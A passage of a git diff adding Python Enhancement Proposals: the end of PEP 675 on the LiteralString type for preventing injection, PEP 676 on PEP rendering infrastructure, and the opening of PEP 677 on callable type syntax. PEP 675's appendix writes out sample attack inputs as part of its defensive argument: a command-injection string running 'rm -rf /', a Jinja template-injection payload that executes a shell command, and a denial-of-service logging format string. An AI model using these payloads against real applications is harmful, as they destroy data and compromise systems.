LiteralString) -> LiteralString: + return query + " LIMIT = 1" + + def my_query(query: LiteralString, user_id: str) -> None: + sql_connection().execute(add_limit(query), (user_id,)) # OK + +Conditional statements and expressions work as expected: + +:: + + def return_literal_string() -> LiteralString: + return "foo" if condition1() else "bar" # OK + + def return_literal_str2(literal_string: LiteralString) -> LiteralString: + return "foo" if condition1() else literal_string # OK + + def return_literal_str3() -> LiteralString: + if condition1(): + result: Literal["foo"] = "foo" + else: + result: LiteralString = "bar" + + return result # OK + + +Interaction with TypeVars and Generics +'''''''''''''''''''''''''''''''''''''' + +TypeVars can be bound to ``LiteralString``: + +:: + + from typing import Literal, LiteralString, TypeVar + + TLiteral = TypeVar("TLiteral", bound=LiteralString) + + def literal_identity(s: TLiteral) -> TLiteral: + return s + + hello: Literal["hello"] = "hello" + y = literal_identity(hello) + reveal_type(y) # => Literal["hello"] + + s: LiteralString + y2 = literal_identity(s) + reveal_type(y2) # => LiteralString + + s_error: str + literal_identity(s_error) + # Error: Expected TLiteral (bound to LiteralString), got str. + + +``LiteralString`` can be used as a type argument for generic classes: + +:: + + class Container(Generic[T]): + def __init__(self, value: T) -> None: + self.value = value + + literal_string: LiteralString = "hello" + x: Container[LiteralString] = Container(literal_string) # OK + + s: str + x_error: Container[LiteralString] = Container(s) # Not OK + +Standard containers like ``List`` work as expected: + +:: + + xs: List[LiteralString] = ["foo", "bar", "baz"] + + +Interactions with Overloads +''''''''''''''''''''''''''' + +Literal strings and overloads do not need to interact in a special +way: the existing rules work fine. ``LiteralString`` can be used as a +fallback overload where a specific ``Literal["foo"]`` type does not +match: + +:: + + @overload + def foo(x: Literal["foo"]) -> int: ... + @overload + def foo(x: LiteralString) -> bool: ... + @overload + def foo(x: str) -> str: ... + + x1: int = foo("foo") # First overload. + x2: bool = foo("bar") # Second overload. + s: str + x3: str = foo(s) # Third overload. + + +Backwards Compatibility +======================= + +We propose adding ``typing_extensions.LiteralString`` for use in +earlier Python versions. + +As :pep:`PEP 586 mentions +<586#backwards-compatibility>`, +type checkers "should feel free to experiment with more sophisticated +inference techniques". So, if the type checker infers a literal string +type for an unannotated variable that is initialized with a literal +string, the following example should be OK: + +:: + + x = "hello" + expect_literal_string(x) + # OK, because x is inferred to have type 'Literal["hello"]'. + +This enables precise type checking of idiomatic SQL query code without +annotating the code at all (as seen in the `Motivation`_ section +example). + +However, like :pep:`586`, this PEP does not mandate the above inference +strategy. In case the type checker doesn't infer ``x`` to have type +``Literal["hello"]``, users can aid the type checker by explicitly +annotating it as ``x: LiteralString``: + +:: + + x: LiteralString = "hello" + expect_literal_string(x) + + +Rejected Alternatives +===================== + +Why not use tool X? +------------------- + +Tools to catch issues such as SQL injection seem to come in three +flavors: AST based, function level analysis, and taint flow analysis. + +**AST-based tools**: `Bandit +`_ +has a plugin to warn when SQL queries are not literal +strings. The problem is that many perfectly safe SQL +queries are dynamically built out of string literals, as shown in the +`Motivation`_ section. At the +AST level, the resultant SQL query is not going to appear as a string +literal anymore and is thus indistinguishable from a potentially +malicious string. To use these tools would require significantly +restricting developers' ability to build SQL queries. ``LiteralString`` +can provide similar safety guarantees with fewer restrictions. + +**Semgrep and pyanalyze**: Semgrep supports a more sophisticated +function level analysis, including `constant propagation +`_ +within a function. This allows us to prevent injection attacks while +permitting some forms of safe dynamic SQL queries within a +function. `pyanalyze +`_ +has a similar extension. But neither handles function calls that +construct and return safe SQL queries. For example, in the code sample +below, ``build_insert_query`` is a helper function to create a query +that inserts multiple values into the corresponding columns. Semgrep +and pyanalyze forbid this natural usage whereas ``LiteralString`` +handles it with no burden on the programmer: + +:: + + def build_insert_query( + table: LiteralString + insert_columns: Iterable[LiteralString], + ) -> LiteralString: + sql = "INSERT INTO " + table + + column_clause = ", ".join(insert_columns) + value_clause = ", ".join(["?"] * len(insert_columns)) + + sql += f" ({column_clause}) VALUES ({value_clause})" + return sql + + def insert_data( + conn: Connection, + kvs_to_insert: Dict[LiteralString, str] + ) -> None: + query = build_insert_query("data", kvs_to_insert.keys()) + conn.execute(query, kvs_to_insert.values()) + + # Example usage + data_to_insert = { + "column_1": value_1, # Note: values are not literals + "column_2": value_2, + "column_3": value_3, + } + insert_data(conn, data_to_insert) + + +**Taint flow analysis**: Tools such as `Pysa +`_ or `CodeQL +`_ are capable of tracking data flowing +from a user controlled input into a SQL query. These tools are +powerful but involve considerable overhead in setting up the tool in +CI, defining "taint" sinks and sources, and teaching developers how to +use them. They also usually take longer to run than a type checker +(minutes instead of seconds), which means feedback is not +immediate. Finally, they move the burden of preventing vulnerabilities +on to library users instead of allowing the libraries themselves to +specify precisely how their APIs must be called (as is possible with +``LiteralString``). + +One final reason to prefer using a new type over a dedicated tool is +that type checkers are more widely used than dedicated security +tooling; for example, MyPy was downloaded `over 7 million times +`_ in Jan 2022 vs `less than +2 million times `_ for +Bandit. Having security protections built right into type checkers +will mean that more developers benefit from them. + + +Why not use a ``NewType`` for ``str``? +-------------------------------------- + +Any API for which ``LiteralString`` would be suitable could instead be +updated to accept a different type created within the Python type +system, such as ``NewType("SafeSQL", str)``: + +:: + + SafeSQL = NewType("SafeSQL", str) + + def execute(self, sql: SafeSQL, parameters: Iterable[str] = ...) -> Cursor: ... + + execute(SafeSQL("SELECT * FROM data WHERE user_id = ?"), user_id) # OK + + user_query: str + execute(user_query) # Error: Expected SafeSQL, got str. + + +Having to create a new type to call an API might give some developers +pause and encourage more caution, but it doesn't guarantee that +developers won't just turn a user controlled string into the new type, +and pass it into the modified API anyway: + +:: + + query = f"SELECT * FROM data WHERE user_id = f{user_id}" + execute(SafeSQL(query)) # No error! + +We are back to square one with the problem of preventing arbitrary +inputs to ``SafeSQL``. This is not a theoretical concern +either. Django uses the above approach with ``SafeString`` and +`mark_safe +`_. Issues +such as `CVE-2020-13596 +`_ +show how this technique can `fail +`_. + +Also note that this requires invasive changes to the source code +(wrapping the query with ``SafeSQL``) whereas ``LiteralString`` +requires no such changes. Users can remain oblivious to it as long as +they pass in literal strings to sensitive APIs. + +Why not try to emulate Trusted Types? +------------------------------------- + +`Trusted Types +`_ is a W3C +specification for preventing DOM-based Cross Site Scripting (XSS). XSS +occurs when dangerous browser APIs accept raw user-controlled +strings. The specification modifies these APIs to accept only the +"Trusted Types" returned by designated sanitizing functions. These +sanitizing functions must take in a potentially malicious string and +validate it or render it benign somehow, for example by verifying that +it is a valid URL or HTML-encoding it. + +It can be tempting to assume porting the concept of Trusted Types to +Python could solve the problem. The fundamental difference, however, +is that the output of a Trusted Types sanitizer is usually intended +*to not be executable code*. Thus it's easy to HTML encode the input, +strip out dangerous tags, or otherwise render it inert. With a SQL +query or shell command, the end result *still needs to be executable +code*. There is no way to write a sanitizer that can reliably figure +out which parts of an input string are benign and which ones are +potentially malicious. + +Runtime Checkable ``LiteralString`` +----------------------------------- + +The ``LiteralString`` concept could be extended beyond static type +checking to be a runtime checkable property of ``str`` objects. This +would provide some benefits, such as allowing frameworks to raise +errors on dynamic strings. Such runtime errors would be a more robust +defense mechanism than type errors, which can potentially be +suppressed, ignored, or never even seen if the author does not use a +type checker. + +This extension to the ``LiteralString`` concept would dramatically +increase the scope of the proposal by requiring changes to one of the +most fundamental types in Python. While runtime taint checking on +strings, similar to Perl's `taint `_, +has been `considered `_ and +`attempted `_ in the past, and +others may consider it in the future, such extensions are out of scope +for this PEP. + + +Rejected Names +-------------- + +We considered a variety of names for the literal string type and +solicited ideas on `typing-sig +`_. +Some notable alternatives were: + ++ ``Literal[str]``: This is a natural extension of the + ``Literal["foo"]`` type name, but typing-sig `objected + `_ + that users could mistake this for the literal type of the ``str`` + class. + ++ ``LiteralStr``: This is shorter than ``LiteralString`` but looks + weird to the PEP authors. + ++ ``LiteralDerivedString``: This (along with + ``MadeFromLiteralString``) best captures the technical meaning of + the type. It represents not just the type of literal expressions, + such as ``"foo"``, but also that of expressions composed from + literals, such as ``"foo" + "bar"``. However, both names seem wordy. + ++ ``StringLiteral``: Users might confuse this with the existing + concept of `"string literals" + `_ + where the string exists as a syntactic token in the source code, + whereas our concept is more general. + ++ ``SafeString``: While this comes close to our intended meaning, it + may mislead users into thinking that the string has been sanitized in + some way, perhaps by escaping HTML tags or shell-related special + characters. + ++ ``ConstantStr``: This does not capture the idea of composing literal + strings. + ++ ``StaticStr``: This suggests that the string is statically + computable, i.e., computable without running the program, which is + not true. The literal string may vary based on runtime flags, as + seen in the `Motivation`_ examples. + ++ ``LiteralOnly[str]``: This has the advantage of being extensible to + other literal types, such as ``bytes`` or ``int``. However, we did + not find the extensibility worth the loss of readability. + +Overall, there was no clear winner on typing-sig over a long period, +so we decided to tip the scales in favor of ``LiteralString``. + + +``LiteralBytes`` +---------------- + +We could generalize literal byte types, such as ``Literal[b"foo"]``, +to ``LiteralBytes``. However, literal byte types are used much less +frequently than literal string types and we did not find much user +demand for ``LiteralBytes``, so we decided not to include it in this +PEP. Others may, however, consider it in future PEPs. + + +Reference Implementation +======================== + +This is implemented in Pyre v0.9.8 and is actively being used. + +The implementation simply extends the type checker with +``LiteralString`` as a supertype of literal string types. + +To support composition via addition, join, etc., it was sufficient to +overload the stubs for ``str`` in Pyre's copy of typeshed. + + +Appendix A: Other Uses +====================== + +To simplify the discussion and require minimal security knowledge, we +focused on SQL injections throughout the PEP. ``LiteralString``, +however, can also be used to prevent many other kinds of `injection +vulnerabilities `_. + +Command Injection +----------------- + +APIs such as ``subprocess.run`` accept a string which can be run as a +shell command: + +:: + + subprocess.run(f"echo 'Hello {name}'", shell=True) + +If user-controlled data is included in the command string, the code is +vulnerable to "command injection"; i.e., an attacker can run malicious +commands. For example, a value of ``' && rm -rf / #`` would result in +the following destructive command being run: + +:: + + echo 'Hello ' && rm -rf / #' + +This vulnerability could be prevented by updating ``run`` to only +accept ``LiteralString`` when used in ``shell=True`` mode. Here is one +simplified stub: + +:: + + def run(command: LiteralString, *args: str, shell: bool=...): ... + +Cross Site Scripting (XSS) +-------------------------- + +Most popular Python web frameworks, such as Django, use a templating +engine to produce HTML from user data. These templating languages +auto-escape user data before inserting it into the HTML template and +thus prevent cross site scripting (XSS) vulnerabilities. + +But a common way to `bypass auto-escaping +`_ +and render HTML as-is is to use functions like ``mark_safe`` in +`Django +`_ +or ``do_mark_safe`` in `Jinja2 +`_, +which cause XSS vulnerabilities: + +:: + + dangerous_string = django.utils.safestring.mark_safe(f"") + return(dangerous_string) + +This vulnerability could be prevented by updating ``mark_safe`` to +only accept ``LiteralString``: + +:: + + def mark_safe(s: LiteralString) -> str: ... + +Server Side Template Injection (SSTI) +------------------------------------- + +Templating frameworks, such as Jinja, allow Python expressions which +will be evaluated and substituted into the rendered result: + +:: + + template_str = "There are {{ len(values) }} values: {{ values }}" + template = jinja2.Template(template_str) + template.render(values=[1, 2]) + # Result: "There are 2 values: [1, 2]" + +If an attacker controls all or part of the template string, they can +insert expressions which execute arbitrary code and `compromise +`_ +the application: + +:: + + malicious_str = "{{''.__class__.__base__.__subclasses__()[408]('rm - rf /',shell=True)}}" + template = jinja2.Template(malicious_str) + template.render() + # Result: The shell command 'rm - rf /' is run + +Template injection exploits like this could be prevented by updating +the ``Template`` API to only accept ``LiteralString``: + +:: + + class Template: + def __init__(self, source: LiteralString): ... + + +Logging Format String Injection +------------------------------- + +Logging frameworks often allow their input strings to contain +formatting directives. At its worst, allowing users to control the +logged string has led to `CVE-2021-44228 +`_ (colloquially +known as ``log4shell``), which has been described as the `"most +critical vulnerability of the last decade" +`_. +While no Python frameworks are currently known to be vulnerable to a +similar attack, the built-in logging framework does provide formatting +options which are vulnerable to Denial of Service attacks from +externally controlled logging strings. The following example +illustrates a simple denial of service scenario: + +:: + + external_string = "%(foo)999999999s" + ... + # Tries to add > 1GB of whitespace to the logged string: + logger.info(f'Received: {external_string}', some_dict) + +This kind of attack could be prevented by requiring that the format +string passed to the logger be a ``LiteralString`` and that all +externally controlled data be passed separately as arguments (as +proposed in `Issue 46200 `_): + +:: + + def info(msg: LiteralString, *args: object) -> None: + ... + + +Appendix B: Limitations +======================= + +There are a number of ways ``LiteralString`` could still fail to +prevent users from passing strings built from non-literal data to an +API: + +1. If the developer does not use a type checker or does not add type +annotations, then violations will go uncaught. + +2. ``cast(LiteralString, non_literal_string)`` could be used to lie to +the type checker and allow a dynamic string value to masquerade as a +``LiteralString``. The same goes for a variable that has type ``Any``. + +3. Comments such as ``# type: ignore`` could be used to ignore +warnings about non-literal strings. + +4. Trivial functions could be constructed to convert a ``str`` to a +``LiteralString``: + +:: + + def make_literal(s: str) -> LiteralString: + letters: Dict[str, LiteralString] = { + "A": "A", + "B": "B", + ... + } + output: List[LiteralString] = [letters[c] for c in s] + return "".join(output) + + +We could mitigate the above using linting, code review, etc., but +ultimately a clever, malicious developer attempting to circumvent the +protections offered by ``LiteralString`` will always succeed. The +important thing to remember is that ``LiteralString`` is not intended +to protect against *malicious* developers; it is meant to protect +against benign developers accidentally using sensitive APIs in a +dangerous way (without getting in their way otherwise). + +Without ``LiteralString``, the best enforcement tool API authors have +is documentation, which is easily ignored and often not seen. With +``LiteralString``, API misuse requires conscious thought and artifacts +in the code that reviewers and future developers can notice. + +.. _appendix_C: + +Appendix C: ``str`` methods that preserve ``LiteralString`` +=========================================================== + +The ``str`` class has several methods that would benefit from +``LiteralString``. For example, users might expect +``"hello".capitalize()`` to have the type ``LiteralString`` similar to +the other examples we have seen in the `Inferring LiteralString +`_ section. Inferring the type +``LiteralString`` is correct because the string is not an arbitrary +user-supplied string - we know that it has the type +``Literal["HELLO"]``, which is compatible with ``LiteralString``. In +other words, the ``capitalize`` method preserves the ``LiteralString`` +type. There are several other ``str`` methods that preserve +``LiteralString``. + +We propose updating the stub for ``str`` in typeshed so that the +methods are overloaded with the ``LiteralString``-preserving +versions. This means type checkers do not have to hardcode +``LiteralString`` behavior for each method. It also lets us easily +support new methods in the future by updating the typeshed stub. + +For example, to preserve literal types for the ``capitalize`` method, +we would change the stub as below: + +:: + + # before + def capitalize(self) -> str: ... + + # after + @overload + def capitalize(self: LiteralString) -> LiteralString: ... + @overload + def capitalize(self) -> str: ... + +The downside of changing the ``str`` stub is that the stub becomes +more complicated and can make error messages harder to +understand. Type checkers may need to special-case ``str`` to make +error messages understandable for users. + +Below is an exhaustive list of ``str`` methods which, when called with +arguments of type ``LiteralString``, must be treated as returning a +``LiteralString``. If this PEP is accepted, we will update these +method signatures in typeshed: + +:: + + @overload + def capitalize(self: LiteralString) -> LiteralString: ... + @overload + def capitalize(self) -> str: ... + + @overload + def casefold(self: LiteralString) -> LiteralString: ... + @overload + def casefold(self) -> str: ... + + @overload + def center(self: LiteralString, __width: SupportsIndex, __fillchar: LiteralString = ...) -> LiteralString: ... + @overload + def center(self, __width: SupportsIndex, __fillchar: str = ...) -> str: ... + + if sys.version_info >= (3, 8): + @overload + def expandtabs(self: LiteralString, tabsize: SupportsIndex = ...) -> LiteralString: ... + @overload + def expandtabs(self, tabsize: SupportsIndex = ...) -> str: ... + + else: + @overload + def expandtabs(self: LiteralString, tabsize: int = ...) -> LiteralString: ... + @overload + def expandtabs(self, tabsize: int = ...) -> str: ... + + @overload + def format(self: LiteralString, *args: LiteralString, **kwargs: LiteralString) -> LiteralString: ... + @overload + def format(self, *args: str, **kwargs: str) -> str: ... + + @overload + def join(self: LiteralString, __iterable: Iterable[LiteralString]) -> LiteralString: ... + @overload + def join(self, __iterable: Iterable[str]) -> str: ... + + @overload + def ljust(self: LiteralString, __width: SupportsIndex, __fillchar: LiteralString = ...) -> LiteralString: ... + @overload + def ljust(self, __width: SupportsIndex, __fillchar: str = ...) -> str: ... + + @overload + def lower(self: LiteralString) -> LiteralString: ... + @overload + def lower(self) -> LiteralString: ... + + @overload + def lstrip(self: LiteralString, __chars: LiteralString | None = ...) -> LiteralString: ... + @overload + def lstrip(self, __chars: str | None = ...) -> str: ... + + @overload + def partition(self: LiteralString, __sep: LiteralString) -> tuple[LiteralString, LiteralString, LiteralString]: ... + @overload + def partition(self, __sep: str) -> tuple[str, str, str]: ... + + @overload + def replace(self: LiteralString, __old: LiteralString, __new: LiteralString, __count: SupportsIndex = ...) -> LiteralString: ... + @overload + def replace(self, __old: str, __new: str, __count: SupportsIndex = ...) -> str: ... + + if sys.version_info >= (3, 9): + @overload + def removeprefix(self: LiteralString, __prefix: LiteralString) -> LiteralString: ... + @overload + def removeprefix(self, __prefix: str) -> str: ... + + @overload + def removesuffix(self: LiteralString, __suffix: LiteralString) -> LiteralString: ... + @overload + def removesuffix(self, __suffix: str) -> str: ... + + @overload + def rjust(self: LiteralString, __width: SupportsIndex, __fillchar: LiteralString = ...) -> LiteralString: ... + @overload + def rjust(self, __width: SupportsIndex, __fillchar: str = ...) -> str: ... + + @overload + def rpartition(self: LiteralString, __sep: LiteralString) -> tuple[LiteralString, LiteralString, LiteralString]: ... + @overload + def rpartition(self, __sep: str) -> tuple[str, str, str]: ... + + @overload + def rsplit(self: LiteralString, sep: LiteralString | None = ..., maxsplit: SupportsIndex = ...) -> list[LiteralString]: ... + @overload + def rsplit(self, sep: str | None = ..., maxsplit: SupportsIndex = ...) -> list[str]: ... + + @overload + def rstrip(self: LiteralString, __chars: LiteralString | None = ...) -> LiteralString: ... + @overload + def rstrip(self, __chars: str | None = ...) -> str: ... + + @overload + def split(self: LiteralString, sep: LiteralString | None = ..., maxsplit: SupportsIndex = ...) -> list[LiteralString]: ... + @overload + def split(self, sep: str | None = ..., maxsplit: SupportsIndex = ...) -> list[str]: ... + + @overload + def splitlines(self: LiteralString, keepends: bool = ...) -> list[LiteralString]: ... + @overload + def splitlines(self, keepends: bool = ...) -> list[str]: ... + + @overload + def strip(self: LiteralString, __chars: LiteralString | None = ...) -> LiteralString: ... + @overload + def strip(self, __chars: str | None = ...) -> str: ... + + @overload + def swapcase(self: LiteralString) -> LiteralString: ... + @overload + def swapcase(self) -> str: ... + + @overload + def title(self: LiteralString) -> LiteralString: ... + @overload + def title(self) -> str: ... + + @overload + def upper(self: LiteralString) -> LiteralString: ... + @overload + def upper(self) -> str: ... + + @overload + def zfill(self: LiteralString, __width: SupportsIndex) -> LiteralString: ... + @overload + def zfill(self, __width: SupportsIndex) -> str: ... + + @overload + def __add__(self: LiteralString, __s: LiteralString) -> LiteralString: ... + @overload + def __add__(self, __s: str) -> str: ... + + @overload + def __iter__(self: LiteralString) -> Iterator[str]: ... + @overload + def __iter__(self) -> Iterator[str]: ... + + @overload + def __mod__(self: LiteralString, __x: Union[LiteralString, Tuple[LiteralString, ...]]) -> str: ... + @overload + def __mod__(self, __x: Union[str, Tuple[str, ...]]) -> str: ... + + @overload + def __mul__(self: LiteralString, __n: SupportsIndex) -> LiteralString: ... + @overload + def __mul__(self, __n: SupportsIndex) -> str: ... + + @overload + def __repr__(self: LiteralString) -> LiteralString: ... + @overload + def __repr__(self) -> str: ... + + @overload + def __rmul__(self: LiteralString, n: SupportsIndex) -> LiteralString: ... + @overload + def __rmul__(self, n: SupportsIndex) -> str: ... + + @overload + def __str__(self: LiteralString) -> LiteralString: ... + @overload + def __str__(self) -> str: ... + + +Appendix D: Guidelines for using ``LiteralString`` in Stubs +=========================================================== + +Libraries that do not contain type annotations within their source may +specify type stubs in Typeshed. Libraries written in other languages, +such as those for machine learning, may also provide Python type +stubs. This means the type checker cannot verify that the type +annotations match the source code and must trust the type stub. Thus, +authors of type stubs need to be careful when using ``LiteralString``, +since a function may falsely appear to be safe when it is not. + +We recommend the following guidelines for using ``LiteralString`` in stubs: + ++ If the stub is for a pure function, we recommend using ``LiteralString`` + in the return type of the function or of its overloads only if all + the corresponding parameters have literal types (i.e., + ``LiteralString`` or ``Literal["a", "b"]``). + + :: + + # OK + @overload + def my_transform(x: LiteralString, y: Literal["a", "b"]) -> LiteralString: ... + @overload + def my_transform(x: str, y: str) -> str: ... + + # Not OK + @overload + def my_transform(x: LiteralString, y: str) -> LiteralString: ... + @overload + def my_transform(x: str, y: str) -> str: ... + ++ If the stub is for a ``staticmethod``, we recommend the same + guideline as above. + ++ If the stub is for any other kind of method, we recommend against + using ``LiteralString`` in the return type of the method or any of + its overloads. This is because, even if all the explicit parameters + have type ``LiteralString``, the object itself may be created using + user data and thus the return type may be user-controlled. + ++ If the stub is for a class attribute or global variable, we also + recommend against using ``LiteralString`` because the untyped code + may write arbitrary values to the attribute. + +However, we leave the final call to the library author. They may use +``LiteralString`` if they feel confident that the string returned by +the method or function or the string stored in the attribute is +guaranteed to have a literal type - i.e., the string is created by +applying only literal-preserving ``str`` operations to a string +literal. + +Note that these guidelines do not apply to inline type annotations +since the type checker can verify that, say, a method returning +``LiteralString`` does in fact return an expression of that type. + + +Resources +========= + +Literal String Types in Scala +----------------------------- + +Scala `uses +`_ +``Singleton`` as the supertype for singleton types, which includes +literal string types, such as ``"foo"``. ``Singleton`` is Scala's +generalized analogue of this PEP's ``LiteralString``. + +Tamer Abdulradi showed how Scala's literal string types can be used +for "Preventing SQL injection at compile time", Scala Days talk +`Literal types: What are they good for? +`_ +(slides 52 to 68). + +Thanks +------ + +Thanks to the following people for their feedback on the PEP: + +Edward Qiu, Jia Chen, Shannon Zhu, Gregory P. Smith, Никита Соболев, +CAM Gerlach, Arie Bovenberg, David Foster, and Shengye Wan + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. + + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep-0676.rst b/pep-0676.rst new file mode 100644 index 00000000000..5d532948e54 --- /dev/null +++ b/pep-0676.rst @@ -0,0 +1,268 @@ +PEP: 676 +Title: PEP Infrastructure Process +Author: Adam Turner +Sponsor: Mariatta +PEP-Delegate: Barry Warsaw +Discussions-To: https://discuss.python.org/t/10774 +Status: Active +Type: Process +Content-Type: text/x-rst +Created: 01-Nov-2021 +Post-History: 23-Sep-2021, 30-Nov-2021 +Resolution: https://discuss.python.org/t/10774/99 + + +Abstract +======== + +This PEP addresses the infrastructure around rendering PEP files from +`reStructuredText`_ files to HTML webpages. We aim to specify a self-contained +and maintainable solution for PEP readers, authors, and editors. + + +Motivation +========== + +As of November 2021, Python Enhancement Proposals (PEPs) are rendered in a +multi-system, multi-stage process. A continuous integration (CI) task runs a +`docutils`_ script to render all PEP files individually. The CI task then +uploads a tar archive to a server, where it is retrieved and rendered into the +`python.org`_ website periodically. + +This places a constraint on the `python.org`_ website to handle raw HTML +uploads and handle PEP rendering, and makes the appropriate place to raise +issues unclear in some cases [1]_. + +This PEP provides a specification for self-contained rendering of PEPs. This +would: + +* reduce the amount of distributed configuration for supporting PEPs +* enable quality-of-life improvements for those who read, write, and review + PEPs +* solve a number of outstanding issues, and lay the path for improvements +* save volunteer maintainers' time + +We propose that PEPs are accessed through `peps.python.org`_ at the top-level +(for example `peps.python.org/pep-0008`_), and that all custom tooling to +support rendering PEPs is hosted in the `python/peps`_ repository. + + +Rationale +========= + +Simplifying and Centralising Infrastructure +------------------------------------------- + +As of November 2021, to locally render a PEP file, a PEP author or editor needs +to create a full local instance of the `python.org`_ website and run a number +of disparate scripts, following `documentation`_ that lives outside of the +`python/peps`_ repository. + +By contrast, the proposed implementation provides a single `Makefile`_ and a +Python script to render all PEP files, with options to target a web-server or +the local filesystem. + +Using a single repository to host all tooling will clarify where to raise +issues, reducing volunteer time spent in triage. + +Simplified and centralised tooling may also reduce the barrier to entry to +further improvements, as the scope of the PEP rendering infrastructure is well +defined. + + +Quality-of-Life Improvements and Resolving Issues +------------------------------------------------- + +There are several requests for additional features in reading PEPs, such as: + +* syntax highlighting [2]_ +* use of ``.. code-block::`` directives [2]_ +* support for SVG images [3]_ +* typographic quotation marks [4]_ +* additional footer information [5]_ +* intersphinx functionality [6]_ +* dark mode theme [7]_ + +These are "easy wins" from this proposal, and would serve to improve the +quality-of-life for consumers of PEPs (including reviewers and writers). + +For example, the current (as of November 2021) system runs periodically on a +schedule. This means that updates to PEPs cannot be circulated immediately, +reducing productivity. The reference implementation renders and publishes all +PEPs on every commit to the repository, solving the issue by design. + +The reference implementation fixes several issues [8]_. For example: + +* list styles are currently not respected by `python.org`_'s stylesheets +* support for updating images in PEPs is challenging in `python.org`_ + +Third-party providers such as `Read the Docs`_ or `Netlify`_ can enhance this +experience with features such as automatic rendering of pull requests. + + +Specification +============= + +The proposed specification for rendering the PEP files to HTML is as per the +`reference implementation`_. + +The rendered PEPs MUST be available at `peps.python.org`_. These SHOULD be +hosted as static files, and MAY be behind a content delivery network (CDN). + +A service to render previews of pull requests SHOULD be provided. This service +MAY be integrated with the hosting and deployment solution. + +The following redirect rules MUST be created for the `python.org`_ domain: + +* ``/peps/`` -> https://peps.python.org/ +* ``/dev/peps/`` -> https://peps.python.org/ +* ``/peps/(.*)\.html`` -> https://peps.python.org/$1 +* ``/dev/peps/(.*)`` -> https://peps.python.org/$1 + +The following nginx configuration would achieve this: + +.. code-block:: nginx + + location ~ ^/dev/peps/?(.*)$ { + return 308 https://peps.python.org/$1/; + } + + location ~ ^/peps/(.*)\.html$ { + return 308 https://peps.python.org/$1/; + } + + location ^/(dev/)?peps(/.*)?$ { + return 308 https://peps.python.org/; + } + +Redirects MUST be implemented to preserve `URL fragments`_ for backward +compatibility purposes. + +Backwards Compatibility +======================= + +Due to server-side redirects to the new canonical URLs, links in previously +published materials referring to the old URL schemes will be guaranteed to work. +All PEPs will continue to render correctly, and a custom stylesheet in the +reference implementation improves presentation for some elements (most notably +code blocks and block quotes). Therefore, this PEP presents no backwards +compatibility issues. + + +Security Implications +===================== + +The main `python.org`_ website will no longer process raw HTML uploads, +closing a potential threat vector. PEP rendering and deployment processes will +use modern, well-maintained code and secure automated platforms, further +reducing the potential attack surface. Therefore, we see no negative security +impact. + + +How to Teach This +================= + +The new canonical URLs will be publicised in the documentation. However, this +is mainly a backend infrastructure change, and there should be minimal +end-user impact. PEP 1 and PEP 12 will be updated as needed. + + +Reference Implementation +======================== + +The proposed implementation has been merged into the `python/peps`_ repository +in a series of pull requests [9]_. It uses the `Sphinx`_ documentation system +with a custom theme (supporting light and dark colour schemes) and extensions. + +This already automatically renders all PEPs on every commit, and publishes them +to `python.github.io/peps`_. The high level documentation for the system covers +`how to render PEPs locally `__ and +`the implementation of the system `__. + + +Rejected Ideas +============== + +It would likely be possible to amend the current (as of November 2021) +rendering process to include a subset of the quality-of-life improvements and +issue mitigations mentioned above. However, we do not believe that this would +solve the distributed tooling issue. + +It would be possible to use the output from the proposed rendering system and +import it into `python.org`_. We would argue that this would be the worst of +both worlds, as a great deal of complexity is added whilst none is removed. + + +Acknowledgements +================ + +- Hugo van Kemenade +- Pablo Galindo Salgado +- Éric Araujo +- Mariatta +- C.A.M. Gerlach + + +Footnotes +========= + +.. _documentation: https://pythondotorg.readthedocs.io/pep_generation.html +.. _docutils: https://docutils.sourceforge.io +.. _Makefile: https://www.gnu.org/software/make/manual/make.html#Introduction +.. _Netlify: https://www.netlify.com/ +.. _peps.python.org: https://peps.python.org/ +.. _peps.python.org/pep-0008: https://peps.python.org/pep-0008/ +.. _python.github.io/peps: https://python.github.io/peps +.. _python.org: https://www.python.org +.. _python/peps: https://github.com/python/peps +.. _Read the Docs: https://readthedocs.org +.. _reStructuredText: https://docutils.sourceforge.io/rst.html +.. _Sphinx: https://www.sphinx-doc.org/en/master/ +.. _URL fragments: https://url.spec.whatwg.org/#concept-url-fragment + +.. [1] For example, + `pythondotorg#1024 `__, + `pythondotorg#1038 `__, + `pythondotorg#1387 `__, + `pythondotorg#1388 `__, + `pythondotorg#1393 `__, + `pythondotorg#1564 `__, + `pythondotorg#1913 `__, +.. [2] Requested: `pythondotorg#1063 `__, + `pythondotorg#1206 `__, + `pythondotorg#1638 `__, + `peps#159 `__, + `comment in peps#1571 `__, + `peps#1577 `__, +.. [3] Requested: `peps#701 `__ +.. [4] Requested: `peps#165 `__ +.. [5] Requested: `pythondotorg#1564 `__ +.. [6] Requested: `comment in peps#2 `__ +.. [7] Requested: `in python-dev `__ +.. [8] As of November 2021, see + `peps#1387 `__, + `pythondotorg#824 `__, + `pythondotorg#1556 `__, +.. [9] Implementation PRs: + `peps#1930 `__, + `peps#1931 `__, + `peps#1932 `__, + `peps#1933 `__, + `peps#1934 `__ + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. + + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep-0677.rst b/pep-0677.rst new file mode 100644 index 00000000000..721ab427681 --- /dev/null +++ b/pep-0677.rst @@ -0,0 +1,1253 @@ +PEP: 677 +Title: Callable Type Syntax +Author: Steven Troxler , + Pradeep Kumar Srinivasan +Sponsor: Guido van Rossum +Discussions-To: python-dev@python.org +Status: Rejected +Type: Standards Track +Content-Type: text/x-rst +Created: 13-Dec-2021 +Python-Version: 3.11 +Post-History: 16-Dec-2021 +Resolution: https://mail.python.org/archives/list/python-dev@python.org/message/NHCLHCU2XCWTBGF732WESMN42YYVKOXB/ + +Abstract +======== + +This PEP introduces a concise and friendly syntax for callable types, +supporting the same functionality as ``typing.Callable`` but with an +arrow syntax inspired by the syntax for typed function +signatures. This allows types like ``Callable[[int, str], bool]`` to +be written as ``(int, str) -> bool``. + +The proposed syntax supports all the functionality provided by +``typing.Callable`` and ``typing.Concatenate``, and is intended to +work as a drop-in replacement. + + +Motivation +========== + +One way to make code safer and easier to analyze is by making sure +that functions and classes are well-typed. In Python we have type +annotations, the framework for which is defined in :pep:`484`, to provide +type hints that can find bugs as well as helping with editor tooling +like tab completion, static analysis tooling, and code review. + +Consider the following untyped code:: + + def flat_map(func, l): + out = [] + for element in l: + out.extend(func(element)) + return out + + 